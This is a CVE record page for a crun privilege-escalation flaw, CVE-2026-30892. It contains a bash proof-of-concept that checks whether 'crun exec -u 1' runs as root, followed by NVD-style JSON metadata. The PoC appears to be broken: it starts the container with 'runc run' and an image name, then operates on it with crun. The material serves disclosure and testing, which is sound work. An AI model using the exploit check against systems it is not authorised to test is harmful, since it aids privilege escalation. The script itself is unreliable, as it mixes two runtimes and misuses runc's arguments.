CVE-2026-30892

#!/bin/bash # PoC for CVE-2026-30892: crun Incorrect User Parsing # Description: This script demonstrates the privilege escalation vulnerability # where crun exec -u 1 incorrectly resolves to UID 0 (root). CONTAINER_NAME="crun_test_poc" IMAGE="ubuntu:latest" # Check if crun is installed if ! command -v crun &> /dev/null; then echo "crun is not installed. Exiting." exit 1 fi # Start a dummy container in the background echo "[+] Starting container..." runc run -d $CONTAINER_NAME $IMAGE sleep 3600 # Attempt to execute with UID 1 # Expected behavior: UID 1 (daemon) # Vulnerable behavior: UID 0 (root) echo "[+] Testing 'crun exec -u 1 ...'" crun exec -u 1 $CONTAINER_NAME id # Cleanup echo "[+] Cleaning up container..." crun delete -f $CONTAINER_NAME echo "[+] PoC completed. Check the 'id' output above." echo " If 'uid=0(root)', the system is vulnerable." echo " If 'uid=1(daemon)', the system is patched."

{"cve": {"id": "CVE-2026-30892", "sourceIdentifier": "[email protected]", "published": "2026-03-26T00:16:38.953", "lastModified": "2026-03-27T20:29:27.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "crun is an open source OCI Container Runtime fully written in C. In versions 1.19 through 1.26, the `crun exec` option `-u` (`--user`) is incorrectly parsed. The value `1` is interpreted as UID 0 and GID 0 when it should have been UID 1 and GID 0. The process thus runs with higher privileges than expected. Version 1.27 patches the issue."}, {"lang": "es", "value": "crun es un entorno de ejecución de contenedores OCI de código abierto escrito íntegramente en C. En las versiones 1.19 a 1.26, la opción `-u` (`--user`) de `crun exec` se analiza de forma incorrecta. El valor `1` se interpreta como UID 0 y GID 0, cuando debería haber sido UID 1 y GID 0. Por lo tanto, el proceso se ejecuta con privilegios más elevados de lo esperado. La versión 1.27 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N", "baseScore": 0.0, "baseSeverity": "NONE", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 0.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:crun_project:crun:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.19", "versionEndExcluding": "1.27", "matchCriteriaId": "BD451ABD-D466-4EB5-969D-E7D5844BDAA8"}]}]}], "references": [{"url": "https://github.com/containers/crun/commit/1bd7f42446999b0e76bc3d575392e05c943b0b01", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/containers/crun/releases/tag/1.27", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/containers/crun/security/advisories/GHSA-4vg2-xjqj-7chj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}